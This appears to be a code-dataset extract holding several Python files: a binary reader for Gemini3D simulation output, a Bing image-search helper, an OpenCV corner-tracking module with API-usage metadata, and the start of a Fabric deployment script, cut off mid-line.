{"api_name": "file_system.settings", "line_number": 97, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 99, "usage_type": "call"}, {"api_name": "file_system.settings.STORAGE_ROOT", "line_number": 99, "usage_type": "attribute"}, {"api_name": "file_system.settings", "line_number": 99, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 102, "usage_type": "name"}, {"api_name": "file_system.models.ClientFileSystem", "line_number": 105, "usage_type": "call"}, {"api_name": "file_system.models.ProjectFileSystem", "line_number": 108, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 112, "usage_type": "call"}, {"api_name": "file_system.settings.STORAGE_ROOT", "line_number": 112, "usage_type": "attribute"}, {"api_name": "file_system.settings", "line_number": 112, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 113, "usage_type": "call"}, {"api_name": "file_system.settings.STORAGE_ROOT", "line_number": 113, "usage_type": "attribute"}, {"api_name": "file_system.settings", "line_number": 113, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path", "line_number": 117, "usage_type": "attribute"}, {"api_name": "file_system.settings.STORAGE_ROOT", "line_number": 117, "usage_type": "attribute"}, {"api_name": "file_system.settings", "line_number": 117, "usage_type": "name"}, {"api_name": "file_system.models.pick_values_by_key", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}, {"api_name": "django.test.TestCase", "line_number": 123, "usage_type": "name"}, {"api_name": "file_system.models.ClientFileSystem", "line_number": 127, "usage_type": "call"}, {"api_name": "file_system.models.ProjectFileSystem", "line_number": 130, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 134, "usage_type": "call"}, {"api_name": "file_system.settings.STORAGE_ROOT", "line_number": 134, "usage_type": "attribute"}, {"api_name": "file_system.settings", "line_number": 134, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 135, "usage_type": "call"}, {"api_name": "file_system.settings.STORAGE_ROOT", "line_number": 135, "usage_type": "attribute"}, {"api_name": "file_system.settings", "line_number": 135, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "attribute"}, {"api_name": "file_system.settings.PROJECTS_ROOT", "line_number": 141, "usage_type": "attribute"}, {"api_name": "file_system.settings", "line_number": 141, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path", "line_number": 146, "usage_type": "attribute"}, {"api_name": "os.path.islink", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 147, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path", "line_number": 149, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path", "line_number": 151, "usage_type": "attribute"}]} {"seq_id": "150782568", "text": "from pathlib import Path\nimport typing as T\nimport numpy as np\nimport logging\nimport struct\nfrom datetime import datetime, timedelta\n\nLSP = 7\n\n\n# NOT lru_cache\ndef get_simsize(fn: Path) -> T.Tuple[int, ...]:\n \"\"\"\n get simulation dimensions from simsize.dat\n in the future, this would be in the .h5 HDF5 output.\n\n Parameters\n ----------\n fn: pathlib.Path\n filepath to simsize.dat\n\n Returns\n -------\n size: tuple of int, int, int\n 3 integers telling simulation grid size\n \"\"\"\n fn = Path(fn).expanduser()\n fsize = fn.stat().st_size\n if fsize == 12:\n lxs = struct.unpack(\"III\", fn.open(\"rb\").read(12))\n elif fsize == 8:\n lxs = struct.unpack(\"II\", fn.open(\"rb\").read(8))\n else:\n raise ValueError(f\"{fn} is not expected 8 bytes (2-D) or 12 bytes (3-D) long\")\n\n return lxs\n\n\ndef readgrid(fn: Path) -> T.Dict[str, np.ndarray]:\n \"\"\"\n get simulation dimensions\n in the future, this would be in the .h5 HDF5 output.\n\n Parameters\n ----------\n fn: pathlib.Path\n filepath to simgrid.dat\n\n Returns\n -------\n grid: dict\n grid parameters\n \"\"\"\n lxs = get_simsize(fn.parent / \"simsize.dat\")\n if len(lxs) == 2:\n return readgrid2(fn, lxs)\n elif len(lxs) == 3:\n return readgrid3(fn, lxs)\n else:\n raise ValueError(\"lxs must be 2-D or 3-D\")\n\n\ndef readgrid2(fn: Path, lxs: T.Sequence[int]) -> T.Dict[str, np.ndarray]:\n \"\"\" for Efield \"\"\"\n if not fn.is_file():\n raise FileNotFoundError(fn)\n\n read = np.fromfile\n grid: T.Dict[str, T.Any] = {\"lx\": lxs}\n with fn.open(\"r\") as f:\n grid[\"mlon\"] = read(f, np.float64, lxs[0])\n grid[\"mlat\"] = read(f, np.float64, lxs[1])\n\n return grid\n\n\ndef readgrid3(fn: Path, lxs: T.Sequence[int]) -> T.Dict[str, np.ndarray]:\n\n lgridghost = (lxs[0] + 4) * (lxs[1] + 4) * (lxs[2] + 4)\n gridsizeghost = [lxs[0] + 4, lxs[1] + 4, lxs[2] + 4]\n\n grid: T.Dict[str, T.Any] = {\"lx\": lxs}\n\n if not fn.is_file():\n logging.error(f\"{fn} grid file is not present. Will try to load rest of data.\")\n return grid\n\n read = np.fromfile\n\n with fn.open(\"r\") as f:\n for i in (1, 2, 3):\n grid[f\"x{i}\"] = read(f, np.float64, lxs[i - 1] + 4)\n grid[f\"x{i}i\"] = read(f, np.float64, lxs[i - 1] + 1)\n grid[f\"dx{i}b\"] = read(f, np.float64, lxs[i - 1] + 3)\n grid[f\"dx{i}h\"] = read(f, np.float64, lxs[i - 1])\n for i in (1, 2, 3):\n grid[f\"h{i}\"] = read(f, np.float64, lgridghost).reshape(gridsizeghost)\n L = [lxs[0] + 1, lxs[1], lxs[2]]\n for i in (1, 2, 3):\n grid[f\"h{i}x1i\"] = read(f, np.float64, np.prod(L)).reshape(L)\n L = [lxs[0], lxs[1] + 1, lxs[2]]\n for i in (1, 2, 3):\n grid[f\"h{i}x2i\"] = read(f, np.float64, np.prod(L)).reshape(L)\n L = [lxs[0], lxs[1], lxs[2] + 1]\n for i in (1, 2, 3):\n grid[f\"h{i}x3i\"] = read(f, np.float64, np.prod(L)).reshape(L)\n for i in (1, 2, 3):\n grid[f\"gx{i}\"] = read(f, np.float64, np.prod(lxs)).reshape(lxs)\n for k in (\"alt\", \"glat\", \"glon\", \"Bmag\"):\n grid[k] = read(f, np.float64, np.prod(lxs)).reshape(lxs)\n grid[\"Bincl\"] = read(f, np.float64, lxs[1] * lxs[2]).reshape(lxs[1:])\n grid[\"nullpts\"] = read(f, np.float64, np.prod(lxs)).reshape(lxs)\n if f.tell() == fn.stat().st_size: # not EOF\n return grid\n\n L = [lxs[0], lxs[1], lxs[2], 3]\n for i in (1, 2, 3):\n grid[f\"e{i}\"] = read(f, np.float64, np.prod(L)).reshape(L)\n for k in (\"er\", \"etheta\", \"ephi\"):\n grid[k] = read(f, np.float64, np.prod(L)).reshape(L)\n for k in (\"r\", \"theta\", \"phi\"):\n grid[k] = read(f, np.float64, np.prod(lxs)).reshape(lxs)\n if f.tell() == fn.stat().st_size: # not EOF\n return grid\n\n for k in (\"x\", \"y\", \"z\"):\n grid[k] = read(f, np.float64, np.prod(lxs)).reshape(lxs)\n\n return grid\n\n\ndef load_Efield(fn: Path) -> T.Dict[str, T.Any]:\n \"\"\"\n load Efield_inputs files that contain input electric field in V/m\n \"\"\"\n\n read = np.fromfile\n\n E: T.Dict[str, np.ndarray] = {}\n\n E[\"Nlon\"], E[\"Nlat\"] = get_simsize(fn.parent / \"simsize.dat\")\n\n assert E[\"Nlon\"] > 0, \"must have strictly positive number of longitude cells\"\n assert E[\"Nlat\"] > 0, \"must have strictly positive number of latitude cells\"\n\n lxs = (0, E[\"Nlon\"], E[\"Nlat\"])\n\n E.update(readgrid2(fn.parent / \"simgrid.dat\", (E[\"Nlon\"], E[\"Nlat\"])))\n\n assert ((E[\"mlat\"] >= -90) & (E[\"mlat\"] <= 90)).all(), f\"impossible latitude, was file read correctly? {fn}\"\n\n with fn.open(\"r\") as f:\n \"\"\"\n NOTE:\n this is mistakenly a float from Matlab\n to keep compatibility with old files, we left it as real64.\n New work should be using HDF5 instead of raw in any case.\n \"\"\"\n E[\"flagdirich\"] = int(read(f, np.float64, 1))\n for p in (\"Exit\", \"Eyit\", \"Vminx1it\", \"Vmaxx1it\"):\n E[p] = [(\"x2\", \"x3\"), read2D(f, lxs)]\n for p in (\"Vminx2ist\", \"Vmaxx2ist\"):\n E[p] = [(\"x2\",), read(f, np.float64, E[\"Nlat\"])]\n for p in (\"Vminx3ist\", \"Vmaxx3ist\"):\n E[p] = [(\"x3\",), read(f, np.float64, E[\"Nlon\"])]\n filesize = fn.stat().st_size\n if f.tell() != filesize:\n logging.error(f\"{fn} size {filesize} != file read position {f.tell()}\")\n\n return E\n\n\ndef loadframe3d_curv(fn: Path, lxs: T.Sequence[int]) -> T.Dict[str, T.Any]:\n \"\"\"\n end users should normally use loadframe() instead\n\n Parameters\n ----------\n fn: pathlib.Path\n filename of this timestep of simulation output\n lxs: list of int\n array dimension\n \"\"\"\n\n # grid = readgrid(fn.parent / \"inputs/simgrid.dat\")\n # dat = xarray.Dataset(\n # coords={\"x1\": grid[\"x1\"][2:-2], \"x2\": grid[\"x2\"][2:-2], \"x3\": grid[\"x3\"][2:-2]}\n # )\n\n dat: T.Dict[str, T.Any] = {}\n\n with fn.open(\"r\") as f:\n dat[\"time\"] = read_time(f)\n\n ns = read4D(f, LSP, lxs)\n dat[\"ne\"] = ((\"x1\", \"x2\", \"x3\"), ns[:, :, :, LSP - 1])\n\n vs1 = read4D(f, LSP, lxs)\n dat[\"v1\"] = ((\"x1\", \"x2\", \"x3\"), (ns[:, :, :, :6] * vs1[:, :, :, :6]).sum(axis=3) / dat[\"ne\"][1])\n\n Ts = read4D(f, LSP, lxs)\n dat[\"Ti\"] = ((\"x1\", \"x2\", \"x3\"), (ns[:, :, :, :6] * Ts[:, :, :, :6]).sum(axis=3) / dat[\"ne\"][1])\n dat[\"Te\"] = ((\"x1\", \"x2\", \"x3\"), Ts[:, :, :, LSP - 1].squeeze())\n\n for p in (\"J1\", \"J2\", \"J3\", \"v2\", \"v3\"):\n dat[p] = [(\"x1\", \"x2\", \"x3\"), read3D(f, lxs)]\n\n dat[\"Phitop\"] = [(\"x2\", \"x3\"), read2D(f, lxs)]\n\n return dat\n\n\ndef loadframe3d_curvavg(fn: Path, lxs: T.Sequence[int]) -> T.Dict[str, T.Any]:\n \"\"\"\n end users should normally use loadframe() instead\n\n Parameters\n ----------\n fn: pathlib.Path\n filename of this timestep of simulation output\n lxs: list of int\n array dimension\n \"\"\"\n # grid = readgrid(fn.parent / \"inputs/simgrid.dat\")\n # dat = xarray.Dataset(\n # coords={\"x1\": grid[\"x1\"][2:-2], \"x2\": grid[\"x2\"][2:-2], \"x3\": grid[\"x3\"][2:-2]}\n # )\n dat: T.Dict[str, T.Any] = {}\n\n with fn.open(\"r\") as f:\n dat[\"time\"] = read_time(f)\n\n for p in (\"ne\", \"v1\", \"Ti\", \"Te\", \"J1\", \"J2\", \"J3\", \"v2\", \"v3\"):\n dat[p] = [(\"x1\", \"x2\", \"x3\"), read3D(f, lxs)]\n\n dat[\"Phitop\"] = [(\"x2\", \"x3\"), read2D(f, lxs)]\n\n return dat\n\n\ndef read4D(f, lsp: int, lxs: T.Sequence[int]) -> np.ndarray:\n \"\"\"\n end users should normally use laodframe() instead\n \"\"\"\n if not len(lxs) == 3:\n raise ValueError(f\"lxs must have 3 elements, you have lxs={lxs}\")\n\n return np.fromfile(f, np.float64, np.prod(lxs) * lsp).reshape((*lxs, lsp), order=\"F\")\n\n\ndef read3D(f, lxs: T.Sequence[int]) -> np.ndarray:\n \"\"\"\n end users should normally use loadframe() instead\n \"\"\"\n if not len(lxs) == 3:\n raise ValueError(f\"lxs must have 3 elements, you have lxs={lxs}\")\n\n return np.fromfile(f, np.float64, np.prod(lxs)).reshape(*lxs, order=\"F\")\n\n\ndef read2D(f, lxs: T.Sequence[int]) -> np.ndarray:\n \"\"\"\n end users should normally use laodframe() instead\n \"\"\"\n if not len(lxs) == 3:\n raise ValueError(f\"lxs must have 3 elements, you have lxs={lxs}\")\n\n return np.fromfile(f, np.float64, np.prod(lxs[1:])).reshape(*lxs[1:], order=\"F\")\n\n\ndef loadglow_aurmap(f, lxs: T.Sequence[int], lwave: int) -> T.Dict[str, T.Any]:\n \"\"\"\n read the auroral output from GLOW\n \"\"\"\n if not len(lxs) == 3:\n raise ValueError(f\"lxs must have 3 elements, you have lxs={lxs}\")\n raw = np.fromfile(f, np.float64, np.prod(lxs[1:]) * lwave).reshape(np.prod(lxs[1:]) * lwave, order=\"F\")\n return {\"rayleighs\": [(\"wavelength\", \"x2\", \"x3\"), raw]}\n\n\ndef read_time(f) -> datetime:\n t = np.fromfile(f, np.float64, 4)\n return datetime(int(t[0]), int(t[1]), int(t[2])) + timedelta(hours=t[3])\n", "sub_path": "gemini3d/raw.py", "file_name": "raw.py", "file_ext": "py", "file_size_in_byte": 8960, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pathlib.Path", "line_number": 12, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 27, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 30, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 32, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 63, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.fromfile", "line_number": 68, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 69, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 69, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 72, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 63, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 77, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 77, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 82, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 82, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.fromfile", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 92, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 93, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 94, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 95, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 97, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 100, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 103, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 106, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 108, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 110, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 111, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 112, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 118, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 120, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 127, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 127, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 77, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 132, "usage_type": "name"}, {"api_name": "numpy.fromfile", "line_number": 137, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 139, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 139, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 159, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 163, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 165, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 168, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 132, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 132, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 173, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 173, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 190, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 190, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 173, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 173, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 213, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 213, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 228, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 228, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 213, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 213, "usage_type": "attribute"}, {"api_name": "typing.Sequence", "line_number": 241, "usage_type": "attribute"}, {"api_name": "numpy.fromfile", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 248, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 241, "usage_type": "attribute"}, {"api_name": "typing.Sequence", "line_number": 251, "usage_type": "attribute"}, {"api_name": "numpy.fromfile", "line_number": 258, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 258, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 258, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 251, "usage_type": "attribute"}, {"api_name": "typing.Sequence", "line_number": 261, "usage_type": "attribute"}, {"api_name": "numpy.fromfile", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 268, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 261, "usage_type": "attribute"}, {"api_name": "typing.Sequence", "line_number": 271, "usage_type": "attribute"}, {"api_name": "numpy.fromfile", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 277, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 277, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 271, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 271, "usage_type": "attribute"}, {"api_name": "numpy.fromfile", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 282, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 283, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 283, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 281, "usage_type": "name"}]} {"seq_id": "592388023", "text": "import http.client, urllib.request, urllib.parse, urllib.error, base64, json\nfrom pprint import pprint\n\nclass GetImage:\n\n def __init__(self, key):\n self.key = key\n\n def getImage(self, keywords):\n\n search_string = \"\"\n\n for x in keywords:\n search_string = search_string + \" \" + x\n\n headers = {\n # Request headers\n 'Ocp-Apim-Subscription-Key': self.key,\n }\n\n params = urllib.parse.urlencode({\n # Request parameters\n 'q': search_string,\n 'count': '1',\n 'offset': '0',\n 'mkt': 'en-us',\n 'safeSearch': 'Strict',\n })\n\n try:\n conn = http.client.HTTPSConnection('api.cognitive.microsoft.com')\n conn.request(\"GET\", \"/bing/v5.0/images/search?%s\" % params, \"{body}\", headers)\n response = conn.getresponse()\n data = json.loads(response.read().decode('utf-8'))\n conn.close()\n\n try:\n return data['value'][0]['contentUrl']\n except IndexError as e:\n print(\"David wants to output this error: {}\".format(e))\n return None\n except Exception as e:\n print(\"[Errno {0}] {1}\".format(e.errno, e.strerror))\n\n", "sub_path": "src/GetImage.py", "file_name": "GetImage.py", "file_ext": "py", "file_size_in_byte": 1282, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "urllib.request.parse.urlencode", "line_number": 21, "usage_type": "call"}, {"api_name": "urllib.request.parse", "line_number": 21, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 21, "usage_type": "name"}, {"api_name": "http.client.client.HTTPSConnection", "line_number": 31, "usage_type": "call"}, {"api_name": "http.client.client", "line_number": 31, "usage_type": "attribute"}, {"api_name": "http.client", "line_number": 31, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 34, "usage_type": "call"}]} {"seq_id": "453340037", "text": "#! /usr/bin/env python3\n\n__all__ = [\n 'FrameCorners',\n 'CornerStorage',\n 'build',\n 'dump',\n 'load',\n 'draw',\n 'without_short_tracks'\n]\n\nimport click\nimport cv2\nimport numpy as np\nimport pims\n\nfrom _corners import FrameCorners, CornerStorage, StorageImpl\nfrom _corners import dump, load, draw, without_short_tracks, create_cli\n\n\nclass _CornerStorageBuilder:\n\n def __init__(self, progress_indicator=None):\n self._progress_indicator = progress_indicator\n self._corners = dict()\n\n def set_corners_at_frame(self, frame, corners):\n self._corners[frame] = corners\n if self._progress_indicator is not None:\n self._progress_indicator.update(1)\n\n def build_corner_storage(self):\n return StorageImpl(item[1] for item in sorted(self._corners.items()))\n\nclass Corners:\n MAX_ID = 0\n\n def __init__(self, coords, sizes, ids=None):\n if ids is None:\n ids = np.arange(Corners.MAX_ID, Corners.MAX_ID + sizes.size).astype(int)\n Corners.MAX_ID += sizes.size\n self.ids = np.reshape(ids, (-1))\n self.coords = np.reshape(coords, (-1, 2))\n self.sizes = np.reshape(sizes, (-1))\n self._sort_data()\n def filter(self, f):\n bools = []\n for i in range(self.ids.size):\n bools.append(bool(f(self.ids[i], self.coords[i], self.sizes[i])))\n bools = np.array(bools)\n return Corners(self.coords[bools == 1], self.sizes[bools == 1], self.ids[bools == 1])\n\n def merge(self, corners):\n def f(id, coords, size):\n return not np.any((np.sum((self.coords - coords - 0.0) ** 2, axis=1) <= (np.maximum(np.full_like(self.sizes, size), self.sizes) / 2) ** 2))\n corners = corners.filter(f)\n return Corners(np.concatenate((self.coords, corners.coords), axis=0),\n np.concatenate((self.sizes, corners.sizes), axis=0),\n np.concatenate((self.ids, corners.ids), axis=0))\n\n def to_frame_corners(self):\n return FrameCorners(self.ids.astype(int), self.coords, self.sizes)\n\n def rescale(self, coef):\n return Corners((self.coords*coef).astype(int), self.sizes*coef, self.ids)\n\n def _sort_data(self):\n sorting_idx = np.argsort(self.ids.flatten())\n self.ids = self.ids[sorting_idx].reshape(-1)\n self.coords = self.coords[sorting_idx].reshape(-1, 2)\n self.sizes = self.sizes[sorting_idx].reshape(-1)\n\n\ndef detect_new_corners(img, feature_params):\n corners = cv2.goodFeaturesToTrack(img, mask=None, **feature_params)\n return Corners(corners, np.full(corners.shape[0], feature_params.get(\"blockSize\", 3)))\n\ndef detect_new_scaled_corners(img, scales, feature_params):\n result = Corners(np.array([]), np.array([]), np.array([]))\n params = dict(feature_params)\n\n for scale in scales:\n width = int(img.shape[1] * scale)\n height = int(img.shape[0] * scale)\n dim = (width, height)\n new_image = cv2.resize(img, dim, interpolation=cv2.INTER_AREA)\n result = result.merge(detect_new_corners(new_image, params).rescale(1 / scale))\n return result\n\ndef track_corners_lk(old_img, new_img, corners, lk_params):\n old_img = (old_img * 255).astype(np.uint8)\n new_img = (new_img * 255).astype(np.uint8)\n\n old_coords = np.reshape(corners.coords, (-1, 1, 2)).astype(np.float32)\n new_coords, status, _ = cv2.calcOpticalFlowPyrLK(old_img, new_img, old_coords, None, **lk_params)\n status = np.reshape(status, status.size)\n\n return Corners(new_coords[status==1], corners.sizes[status==1], corners.ids[status==1])\n\ndef _build_impl(frame_sequence: pims.FramesSequence,\n builder: _CornerStorageBuilder) -> None:\n feature_params = dict(maxCorners=1000,\n qualityLevel=0.1,\n minDistance=10,\n blockSize=7)\n lk_params = dict(winSize=(25, 25),\n maxLevel=3,\n criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 0.02))\n\n old_img = frame_sequence[0]\n\n scales = [1., 0.75, 0.5, 0.25]\n\n corners = detect_new_scaled_corners(frame_sequence[0], scales , feature_params)\n builder.set_corners_at_frame(0, corners.to_frame_corners())\n\n for frame, img in enumerate(frame_sequence[1:], 1):\n corners = track_corners_lk(old_img, img, corners, lk_params)\n corners = corners.merge(detect_new_scaled_corners(img, scales, feature_params))\n builder.set_corners_at_frame(frame, corners.to_frame_corners())\n old_img = img\n\ndef build(frame_sequence: pims.FramesSequence,\n progress: bool = True) -> CornerStorage:\n \"\"\"\n Build corners for all frames of a frame sequence.\n\n :param frame_sequence: grayscale float32 frame sequenc\n :param progress: enable/disable building progress bar.\n :return: corners for all frames of given sequence.\n \"\"\"\n if progress:\n with click.progressbar(length=len(frame_sequence),\n label='Calculating corners') as progress_bar:\n builder = _CornerStorageBuilder(progress_bar)\n _build_impl(frame_sequence, builder)\n else:\n builder = _CornerStorageBuilder()\n _build_impl(frame_sequence, builder)\n return without_short_tracks(builder.build_corner_storage(), 5)\n\n\nif __name__ == '__main__':\n create_cli(build)() # pylint:disable=no-value-for-parameter\n", "sub_path": "camtrack/corners.py", "file_name": "corners.py", "file_ext": "py", "file_size_in_byte": 5432, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "_corners.StorageImpl", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.full_like", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 60, "usage_type": "call"}, {"api_name": "_corners.FrameCorners", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.goodFeaturesToTrack", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 87, "usage_type": "call"}, {"api_name": "cv2.INTER_AREA", "line_number": 87, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 92, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 93, "usage_type": "attribute"}, {"api_name": "numpy.reshape", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 95, "usage_type": "attribute"}, {"api_name": "cv2.calcOpticalFlowPyrLK", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 97, "usage_type": "call"}, {"api_name": "pims.FramesSequence", "line_number": 101, "usage_type": "attribute"}, {"api_name": "cv2.TERM_CRITERIA_EPS", "line_number": 109, "usage_type": "attribute"}, {"api_name": "cv2.TERM_CRITERIA_COUNT", "line_number": 109, "usage_type": "attribute"}, {"api_name": "pims.FramesSequence", "line_number": 124, "usage_type": "attribute"}, {"api_name": "click.progressbar", "line_number": 134, "usage_type": "call"}, {"api_name": "_corners.without_short_tracks", "line_number": 141, "usage_type": "call"}, {"api_name": "_corners.CornerStorage", "line_number": 125, "usage_type": "name"}, {"api_name": "_corners.create_cli", "line_number": 145, "usage_type": "call"}]} {"seq_id": "241934648", "text": "from __future__ import unicode_literals, print_function\nimport os.path\nfrom contextlib import contextmanager\nimport fabric.api as fappy\nfrom fabric.contrib import django, console\n\nTEST_HOST = \"\"\nfappy.env.hosts_config = 